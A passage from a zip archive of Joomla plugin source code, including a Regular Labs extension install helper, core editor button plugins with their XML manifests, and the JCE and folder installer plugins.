PK�(]죻�C�C*editors-xtd/tabs/script.install.helper.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         6.0.3
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

class PlgEditorsXtdTabsInstallerScriptHelper
{
	public $name            = '';
	public $alias           = '';
	public $extname         = '';
	public $extension_type  = '';
	public $plugin_folder   = 'system';
	public $module_position = 'status';
	public $client_id       = 1;
	public $install_type    = 'install';
	public $show_message    = true;
	public $db              = null;

	public function __construct(&$params)
	{
		$this->extname = $this->extname ?: $this->alias;
		$this->db      = JFactory::getDbo();
	}

	public function preflight($route, JAdapterInstance $adapter)
	{
		if (!in_array($route, array('install', 'update')))
		{
			return;
		}

		JFactory::getLanguage()->load('plg_system_regularlabsinstaller', JPATH_PLUGINS . '/system/regularlabsinstaller');

		if ($this->show_message && $this->isInstalled())
		{
			$this->install_type = 'update';
		}

		if ($this->onBeforeInstall() === false)
		{
			return false;
		}
	}

	public function postflight($route, JAdapterInstance $adapter)
	{
		$this->removeGlobalLanguageFiles();
		$this->removeUnusedLanguageFiles();

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, $this->getMainFolder());

		if (!in_array($route, array('install', 'update')))
		{
			return;
		}

		$this->updateUpdateSites();
		$this->removeAdminCache();

		if ($this->onAfterInstall() === false)
		{
			return false;
		}

		if ($route == 'install')
		{
			$this->publishExtension();
		}

		if ($this->show_message)
		{
			$this->addInstalledMessage();
		}

		JFactory::getCache()->clean('com_plugins');
		JFactory::getCache()->clean('_system');
	}

	public function isInstalled()
	{
		if (!is_file($this->getInstalledXMLFile()))
		{
			return false;
		}

		$query = $this->db->getQuery(true)
			->select('extension_id')
			->from('#__extensions')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($this->extension_type))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName()));
		$this->db->setQuery($query, 0, 1);
		$result = $this->db->loadResult();

		return empty($result) ? false : true;
	}

	public function getMainFolder()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				return JPATH_SITE . '/plugins/' . $this->plugin_folder . '/' . $this->extname;

			case 'component' :
				return JPATH_ADMINISTRATOR . '/components/com_' . $this->extname;

			case 'module' :
				return JPATH_ADMINISTRATOR . '/modules/mod_' . $this->extname;

			case 'library' :
				return JPATH_SITE . '/libraries/' . $this->extname;
		}
	}

	public function getInstalledXMLFile()
	{
		return $this->getXMLFile($this->getMainFolder());
	}

	public function getCurrentXMLFile()
	{
		return $this->getXMLFile(__DIR__);
	}

	public function getXMLFile($folder)
	{
		switch ($this->extension_type)
		{
			case 'module' :
				return $folder . '/mod_' . $this->extname . '.xml';

			default :
				return $folder . '/' . $this->extname . '.xml';
		}
	}

	public function uninstallExtension($extname, $type = 'plugin', $folder = 'system', $show_message = true)
	{
		if (empty($extname))
		{
			return;
		}

		$folders = array();

		switch ($type)
		{
			case 'plugin';
				$folders[] = JPATH_SITE . '/plugins/' . $folder . '/' . $extname;
				break;

			case 'component':
				$folders[] = JPATH_ADMINISTRATOR . '/components/com_' . $extname;
				$folders[] = JPATH_SITE . '/components/com_' . $extname;
				break;

			case 'module':
				$folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $extname;
				$folders[] = JPATH_SITE . '/modules/mod_' . $extname;
				break;
		}

		if (!$this->foldersExist($folders))
		{
			return;
		}

		$query = $this->db->getQuery(true)
			->select('extension_id')
			->from('#__extensions')
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName($type, $extname)))
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote($type));

		if ($type == 'plugin')
		{
			$query->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($folder));
		}

		$this->db->setQuery($query);
		$ids = $this->db->loadColumn();

		if (empty($ids))
		{
			foreach ($folders as $folder)
			{
				JFolder::delete($folder);
			}

			return;
		}

		$ignore_ids = JFactory::getApplication()->getUserState('rl_ignore_uninstall_ids', array());

		if (JFactory::getApplication()->input->get('option') == 'com_installer' && JFactory::getApplication()->input->get('task') == 'remove')
		{
			// Don't attempt to uninstall extensions that are already selected to get uninstalled by them selves
			$ignore_ids = array_merge($ignore_ids, JFactory::getApplication()->input->get('cid', array(), 'array'));
			JFactory::getApplication()->input->set('cid', array_merge($ignore_ids, $ids));
		}

		$ids = array_diff($ids, $ignore_ids);

		if (empty($ids))
		{
			return;
		}

		$ignore_ids = array_merge($ignore_ids, $ids);
		JFactory::getApplication()->setUserState('rl_ignore_uninstall_ids', $ignore_ids);

		foreach ($ids as $id)
		{
			$tmpInstaller = new JInstaller;
			$tmpInstaller->uninstall($type, $id);
		}

		if ($show_message)
		{
			JFactory::getApplication()->enqueueMessage(
				JText::sprintf(
					'COM_INSTALLER_UNINSTALL_SUCCESS',
					JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type))
				)
			);
		}
	}

	public function foldersExist($folders = array())
	{
		foreach ($folders as $folder)
		{
			if (is_dir($folder))
			{
				return true;
			}
		}

		return false;
	}

	public function uninstallPlugin($extname, $folder = 'system', $show_message = true)
	{
		$this->uninstallExtension($extname, 'plugin', $folder, $show_message);
	}

	public function uninstallComponent($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'component', null, $show_message);
	}

	public function uninstallModule($extname, $show_message = true)
	{
		$this->uninstallExtension($extname, 'module', null, $show_message);
	}

	public function publishExtension()
	{
		switch ($this->extension_type)
		{
			case 'plugin' :
				$this->publishPlugin();

			case 'module' :
				$this->publishModule();
		}
	}

	public function publishPlugin()
	{
		$query = $this->db->getQuery(true)
			->update('#__extensions')
			->set($this->db->quoteName('enabled') . ' = 1')
			->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin'))
			->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->extname))
			->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($this->plugin_folder));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function publishModule()
	{
		// Get module id
		$query = $this->db->getQuery(true)
			->select('id')
			->from('#__modules')
			->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id);
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if (!$id)
		{
			return;
		}

		// check if module is already in the modules_menu table (meaning is is already saved)
		$query->clear()
			->select('moduleid')
			->from('#__modules_menu')
			->where($this->db->quoteName('moduleid') . ' = ' . (int) $id);
		$this->db->setQuery($query, 0, 1);
		$exists = $this->db->loadResult();

		if ($exists)
		{
			return;
		}

		// Get highest ordering number in position
		$query->clear()
			->select('ordering')
			->from('#__modules')
			->where($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id)
			->order('ordering DESC');
		$this->db->setQuery($query, 0, 1);
		$ordering = $this->db->loadResult();
		$ordering++;

		// publish module and set ordering number
		$query->clear()
			->update('#__modules')
			->set($this->db->quoteName('published') . ' = 1')
			->set($this->db->quoteName('ordering') . ' = ' . (int) $ordering)
			->set($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position))
			->where($this->db->quoteName('id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		// add module to the modules_menu table
		$query->clear()
			->insert('#__modules_menu')
			->columns(array($this->db->quoteName('moduleid'), $this->db->quoteName('menuid')))
			->values((int) $id . ', 0');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	public function addInstalledMessage()
	{
		JFactory::getApplication()->enqueueMessage(
			JText::sprintf(
				JText::_($this->install_type == 'update' ? 'RLI_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' : 'RLI_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'),
				'<strong>' . JText::_($this->name) . '</strong>',
				'<strong>' . $this->getVersion() . '</strong>',
				$this->getFullType()
			)
		);
	}

	public function getPrefix()
	{
		switch ($this->extension_type)
		{
			case 'plugin';
				return JText::_('plg_' . strtolower($this->plugin_folder));

			case 'component':
				return JText::_('com');

			case 'module':
				return JText::_('mod');

			case 'library':
				return JText::_('lib');

			default:
				return $this->extension_type;
		}
	}

	public function getElementName($type = null, $extname = null)
	{
		$type    = is_null($type) ? $this->extension_type : $type;
		$extname = is_null($extname) ? $this->extname : $extname;

		switch ($type)
		{
			case 'component' :
				return 'com_' . $extname;

			case 'module' :
				return 'mod_' . $extname;

			case 'plugin' :
			default:
				return $extname;
		}
	}

	public function getFullType()
	{
		return JText::_('RLI_' . strtoupper($this->getPrefix()));
	}

	public function getVersion($file = '')
	{
		$file = $file ?: $this->getCurrentXMLFile();

		if (!is_file($file))
		{
			return '';
		}

		$xml = JApplicationHelper::parseXMLInstallFile($file);

		if (!$xml || !isset($xml['version']))
		{
			return '';
		}

		return $xml['version'];
	}

	public function isNewer()
	{
		if (!$installed_version = $this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		$package_version = $this->getVersion();

		return version_compare($installed_version, $package_version, '<=');
	}

	public function canInstall()
	{
		// The extension is not installed yet
		if (!$installed_version = $this->getVersion($this->getInstalledXMLFile()))
		{
			return true;
		}

		// The free version is installed. So any version is ok to install
		if (strpos($installed_version, 'PRO') === false)
		{
			return true;
		}

		// Current package is a pro version, so all good
		if (strpos($this->getVersion(), 'PRO') !== false)
		{
			return true;
		}

		JFactory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, __DIR__);

		JFactory::getApplication()->enqueueMessage(JText::_('RLI_ERROR_PRO_TO_FREE'), 'error');

		JFactory::getApplication()->enqueueMessage(
			html_entity_decode(
				JText::sprintf(
					'RLI_ERROR_UNINSTALL_FIRST',
					'<a href="https://www.regularlabs.com/extensions/' . $this->alias . '" target="_blank">',
					'</a>',
					JText::_($this->name)
				)
			), 'error'
		);

		return false;
	}

	/*
	 * Fixes incorrectly formed versions because of issues in old packager
	 */
	public function fixFileVersions($file)
	{
		if (is_array($file))
		{
			foreach ($file as $f)
			{
				self::fixFileVersions($f);
			}

			return;
		}

		if (!is_string($file) || !is_file($file))
		{
			return;
		}

		$contents = file_get_contents($file);

		if (
			strpos($contents, 'FREEFREE') === false
			&& strpos($contents, 'FREEPRO') === false
			&& strpos($contents, 'PROFREE') === false
			&& strpos($contents, 'PROPRO') === false
		)
		{
			return;
		}

		$contents = str_replace(
			array('FREEFREE', 'FREEPRO', 'PROFREE', 'PROPRO'),
			array('FREE', 'PRO', 'FREE', 'PRO'),
			$contents
		);

		JFile::write($file, $contents);
	}

	public function onBeforeInstall()
	{
		if (!$this->canInstall())
		{
			return false;
		}
	}

	public function onAfterInstall()
	{
	}

	public function deleteFolders($folders = array())
	{
		foreach ($folders as $folder)
		{
			if (!is_dir($folder))
			{
				continue;
			}

			JFolder::delete($folder);
		}
	}

	public function fixAssetsRules($rules = '{"core.admin":[],"core.manage":[]}')
	{
		// replace default rules value {} with the correct initial value
		$query = $this->db->getQuery(true)
			->update($this->db->quoteName('#__assets'))
			->set($this->db->quoteName('rules') . ' = ' . $this->db->quote($rules))
			->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname))
			->where($this->db->quoteName('rules') . ' = ' . $this->db->quote('{}'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateUpdateSites()
	{
		$this->removeOldUpdateSites();
		$this->updateNamesInUpdateSites();
		$this->updateDownloadKey();
	}

	private function removeOldUpdateSites()
	{
		$query = $this->db->getQuery(true)
			->select('update_site_id')
			->from('#__update_sites')
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('nonumber.nl%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query, 0, 1);
		$id = $this->db->loadResult();

		if (!$id)
		{
			return;
		}

		$query->clear()
			->delete('#__update_sites')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->delete('#__update_sites_extensions')
			->where($this->db->quoteName('update_site_id') . ' = ' . (int) $id);
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function updateNamesInUpdateSites()
	{
		$name = JText::_($this->name);
		if ($this->alias != 'extensionmanager')
		{
			$name = 'Regular Labs - ' . $name;
		}

		$query = $this->db->getQuery(true)
			->update('#__update_sites')
			->set($this->db->quoteName('name') . ' = ' . $this->db->quote($name))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%e=' . $this->alias . '%'));
		$this->db->setQuery($query);
		$this->db->execute();
	}

	// Save the download key from the Regular Labs Extension Manager config to the update sites
	private function updateDownloadKey()
	{
		$query = $this->db->getQuery(true)
			->select('e.params')
			->from('#__extensions as e')
			->where(array(
				'e.element = ' . $this->db->quote('com_regularlabsmanager'),
				'e.element = ' . $this->db->quote('com_nonumbermanager'),
			), 'OR');
		$this->db->setQuery($query);
		$params = $this->db->loadResult();

		if (!$params)
		{
			return;
		}

		$params = json_decode($params);

		if (!isset($params->key))
		{
			return;
		}

		$query->clear()
			->update('#__update_sites')
			->set($this->db->quoteName('extra_query') . ' = ' . $this->db->quote(''))
			->where(array(
				$this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.nonumber.nl%'),
				$this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'),
			), 'OR');
		$this->db->setQuery($query);
		$this->db->execute();

		$query->clear()
			->update('#__update_sites')
			->set($this->db->quoteName('extra_query') . ' = ' . $this->db->quote('k=' . $params->key))
			->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%&pro=1%'))
			->where(array(
				$this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.nonumber.nl%'),
				$this->db->quoteName('location') . ' LIKE ' . $this->db->quote('%download.regularlabs.com%'),
			), 'OR');
		$this->db->setQuery($query);
		$this->db->execute();
	}

	private function removeAdminCache()
	{
		$this->deleteFolders(array(JPATH_ADMINISTRATOR . '/cache/regularlabs'));
		$this->deleteFolders(array(JPATH_ADMINISTRATOR . '/cache/nonumber'));
	}

	private function removeGlobalLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$language_files = JFolder::files(JPATH_ADMINISTRATOR . '/language', '\.' . $this->getPrefix() . '_' . $this->extname . '\.', true, true);

		// Remove override files
		foreach ($language_files as $i => $language_file)
		{
			if (strpos($language_file, '/overrides/') === false)
			{
				continue;
			}

			unset($language_files[$i]);
		}

		if (empty($language_files))
		{
			return;
		}

		JFile::delete($language_files);
	}

	private function removeUnusedLanguageFiles()
	{
		if ($this->extension_type == 'library')
		{
			return;
		}

		$installed_languages = array_merge(
			JFolder::folders(JPATH_SITE . '/language'),
			JFolder::folders(JPATH_ADMINISTRATOR . '/language')
		);

		$languages = array_diff(
			JFolder::folders(__DIR__ . '/language'),
			$installed_languages
		);

		$delete_languages = array();

		foreach ($languages as $language)
		{
			$delete_languages[] = $this->getMainFolder() . '/language/' . $language;
		}

		if (empty($delete_languages))
		{
			return;
		}

		// Remove folders
		$this->deleteFolders($delete_languages);
	}
}
PK�(]����editors-xtd/fields/fields.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.fields
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Fields button
 *
 * @since  3.7.0
 */
class PlgButtonFields extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since  3.7.0
	 */
	public function onDisplay($name)
	{
		// Check if com_fields is enabled
		if (!JComponentHelper::isEnabled('com_fields'))
		{
			return;
		}

		// Register FieldsHelper
		JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

		// Guess the field context based on view.
		$jinput = JFactory::getApplication()->input;
		$context = $jinput->get('option') . '.' . $jinput->get('view');

		// Validate context.
		$context = implode('.', FieldsHelper::extract($context));
		if (!FieldsHelper::getFields($context))
		{
			return;
		}

		$link = 'index.php?option=com_fields&amp;view=fields&amp;layout=modal&amp;tmpl=component&amp;context='
			. $context . '&amp;editor=' . $name . '&amp;' . JSession::getFormToken() . '=1';

		$button          = new JObject;
		$button->modal   = true;
		$button->class   = 'btn';
		$button->link    = $link;
		$button->text    = JText::_('PLG_EDITORS-XTD_FIELDS_BUTTON_FIELD');
		$button->name    = 'puzzle';
		$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

		return $button;
	}
}
PK�(]�4yleditors-xtd/fields/fields.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.7" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_fields</name>
	<author>Joomla! Project</author>
	<creationDate>February 2017</creationDate>
	<copyright>(C) 2017 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_EDITORS-XTD_FIELDS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="fields">fields.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_fields.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_fields.sys.ini</language>
	</languages>
</extension>
PK�(]�䮉XXeditors-xtd/menu/menu.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.menu
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor menu button
 *
 * @since  3.7.0
 */
class PlgButtonMenu extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @since  3.7.0
	 * @return array
	 */
	public function onDisplay($name)
	{
		/*
		 * Use the built-in element view to select the menu item.
		 * Currently uses blank class.
		 */
		$user  = JFactory::getUser();

		if ($user->authorise('core.create', 'com_menus')
			|| $user->authorise('core.edit', 'com_menus'))
		{
		$link = 'index.php?option=com_menus&amp;view=items&amp;layout=modal&amp;tmpl=component&amp;'
			. JSession::getFormToken() . '=1&amp;editor=' . $name;

		$button          = new JObject;
		$button->modal   = true;
		$button->class   = 'btn';
		$button->link    = $link;
		$button->text    = JText::_('PLG_EDITORS-XTD_MENU_BUTTON_MENU');
		$button->name    = 'share-alt';
		$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

		return $button;
		}
	}
}
PK�(]��=editors-xtd/menu/menu.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.7" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_menu</name>
	<author>Joomla! Project</author>
	<creationDate>August 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_EDITORS-XTD_MENU_XML_DESCRIPTION</description>
	<files>
		<filename plugin="menu">menu.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_menu.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_menu.sys.ini</language>
	</languages>
</extension>
PK�(]|�/4}}editors-xtd/image/image.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.image
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Image buton
 *
 * @since  1.5
 */
class PlgButtonImage extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button.
	 *
	 * @param   string   $name    The name of the button to display.
	 * @param   string   $asset   The name of the asset being edited.
	 * @param   integer  $author  The id of the author owning the asset being edited.
	 *
	 * @return  JObject  The button options as JObject or false if not allowed
	 *
	 * @since   1.5
	 */
	public function onDisplay($name, $asset, $author)
	{
		$app       = JFactory::getApplication();
		$user      = JFactory::getUser();
		$extension = $app->input->get('option');

		// For categories we check the extension (ex: component.section)
		if ($extension === 'com_categories')
		{
			$parts     = explode('.', $app->input->get('extension', 'com_content'));
			$extension = $parts[0];
		}

		$asset = $asset !== '' ? $asset : $extension;

		if ($user->authorise('core.edit', $asset)
			|| $user->authorise('core.create', $asset)
			|| (count($user->getAuthorisedCategories($asset, 'core.create')) > 0)
			|| ($user->authorise('core.edit.own', $asset) && $author === $user->id)
			|| (count($user->getAuthorisedCategories($extension, 'core.edit')) > 0)
			|| (count($user->getAuthorisedCategories($extension, 'core.edit.own')) > 0 && $author === $user->id))
		{
			$link = 'index.php?option=com_media&amp;view=images&amp;tmpl=component&amp;e_name=' . $name . '&amp;asset=' . $asset . '&amp;author=' . $author;

			$button = new JObject;
			$button->modal   = true;
			$button->class   = 'btn';
			$button->link    = $link;
			$button->text    = JText::_('PLG_IMAGE_BUTTON_IMAGE');
			$button->name    = 'pictures';
			$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

			return $button;
		}

		return false;
	}
}
PK�(]�6�editors-xtd/image/image.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_image</name>
	<author>Joomla! Project</author>
	<creationDate>August 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_IMAGE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="image">image.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_image.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_image.sys.ini</language>
	</languages>
</extension>
PK�(]���GG!editors-xtd/readmore/readmore.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.readmore
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Readmore button
 *
 * @since  1.5
 */
class PlgButtonReadmore extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Readmore button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   1.5
	 */
	public function onDisplay($name)
	{
		JHtml::_('script', 'com_content/admin-article-readmore.min.js', array('version' => 'auto', 'relative' => true));

		// Pass some data to javascript
		JFactory::getDocument()->addScriptOptions(
			'xtd-readmore',
			array(
				'editor' => $this->_subject->getContent($name),
				'exists' => JText::_('PLG_READMORE_ALREADY_EXISTS', true),
			)
		);

		$button = new JObject;
		$button->modal   = false;
		$button->class   = 'btn';
		$button->onclick = 'insertReadmore(\'' . $name . '\');return false;';
		$button->text    = JText::_('PLG_READMORE_BUTTON_READMORE');
		$button->name    = 'arrow-down';
		$button->link    = '#';

		return $button;
	}
}
PK�(]��bi!editors-xtd/readmore/readmore.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_readmore</name>
	<author>Joomla! Project</author>
	<creationDate>March 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_READMORE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="readmore">readmore.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_readmore.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_readmore.sys.ini</language>
	</languages>
</extension>
PK�(]�dd�T
T
installer/jce/jce.phpnu�[���<?php
/**
 *  @copyright Copyright (c)2016 - 2020 Ryan Demmer
 *  @license GNU General Public License version 2, or later
 */
defined('_JEXEC') or die;

/**
 * Handle commercial extension update authorization.
 *
 * @since       2.6
 */
class plgInstallerJce extends JPlugin
{    
    /**
     * Handle adding credentials to package download request.
     *
     * @param string $url     url from which package is going to be downloaded
     * @param array  $headers headers to be sent along the download request (key => value format)
     *
     * @return bool true if credentials have been added to request or not our business, false otherwise (credentials not set by user)
     *
     * @since   3.0
     */
    public function onInstallerBeforePackageDownload(&$url, &$headers)
    {
        $app = JFactory::getApplication();

        $uri = JUri::getInstance($url);
        $host = $uri->getHost();

        if ($host !== 'www.joomlacontenteditor.net') {
            return true;
        }

        // Get the subscription key
        JLoader::import('joomla.application.component.helper');
        $component = JComponentHelper::getComponent('com_jce');

        // load plugin language for warning messages
        JFactory::getLanguage()->load('plg_installer_jce', JPATH_ADMINISTRATOR);

        // check if the key has already been set via the dlid field
        $dlid = $uri->getVar('key', '');

        // check the component params, fallback to the dlid
        $key = $component->params->get('updates_key', $dlid);

        // if no key is set...
        if (empty($key)) {
            // if we are attempting to update JCE Pro, display a notice message
            if (strpos($url, 'pkg_jce_pro') !== false) {
                $app->enqueueMessage(JText::_('PLG_INSTALLER_JCE_KEY_WARNING'), 'notice');
            }

            return true;
        }

        // Append the subscription key to the download URL
        $uri->setVar('key', $key);

        // create the url string
        $url = $uri->toString();

        // check validity of the key and display a message if it is invalid / expired
        try
        {
            $tmpUri = clone $uri;

            $tmpUri->setVar('task', 'update.validate');
            $tmpUri->delVar('file');
            $tmpUrl = $tmpUri->toString();
            $response = JHttpFactory::getHttp()->get($tmpUrl, array());
        } catch (RuntimeException $exception) {}

        // invalid key, display a notice message
        if (403 == $response->code) {
            $app->enqueueMessage(JText::_('PLG_INSTALLER_JCE_KEY_INVALID'), 'notice');
        }

        return true;
    }
}
PK�(]X	�`��installer/jce/jce.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="installer" method="upgrade">
	<name>plg_installer_jce</name>
	<version>2.9.38</version>
  <creationDate>27-06-2023</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
  <copyright>Copyright (C) 2006 - 2023 Ryan Demmer. All rights reserved</copyright>
  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>PLG_INSTALLER_JCE_XML_DESCRIPTION</description>
	<files folder="plugins/installer/jce">
		<filename plugin="jce">jce.php</filename>
	</files>
	<languages folder="administrator/language/en-GB">
      <language tag="en-GB">en-GB.plg_installer_jce.ini</language>
      <language tag="en-GB">en-GB.plg_installer_jce.sys.ini</language>
  </languages>
</extension>
PK�(]�?>>-installer/folderinstaller/folderinstaller.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="installer">
	<name>PLG_INSTALLER_FOLDERINSTALLER</name>
	<author>Joomla! Project</author>
	<creationDate>May 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.6.0</version>
	<description>PLG_INSTALLER_FOLDERINSTALLER_PLUGIN_XML_DESCRIPTION</description>

	<files>
		<filename plugin="folderinstaller">folderinstaller.php</filename>
	</files>

	<languages>
		<language tag="en-GB">en-GB.plg_installer_folderinstaller.ini</language>
		<language tag="en-GB">en-GB.plg_installer_folderinstaller.sys.ini</language>
	</languages>
</extension>
PK�(]�#���-installer/folderinstaller/folderinstaller.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.folderInstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * FolderInstaller Plugin.
 *
 * @since  3.6.0
 */
class PlgInstallerFolderInstaller extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.6.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Textfield or Form of the Plugin.
	 *
	 * @return  array  Returns an array with the tab information
	 *
	 * @since   3.6.0
	 */
	public function onInstallerAddInstallationTab()
	{
		$tab            = array();
		$tab['name']    = 'folder';
		$tab['label']   = JText::_('PLG_INSTALLER_FOLDERINSTALLER_TEXT');

		// Render the input
		ob_start();
		include JPluginHelper::getLayoutPath('installer', 'folderinstaller');
		$tab['content'] = ob_get_clean();

		return $tab;
	}
}
PK�(]�a���*installer/folderinstaller/tmpl/default.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
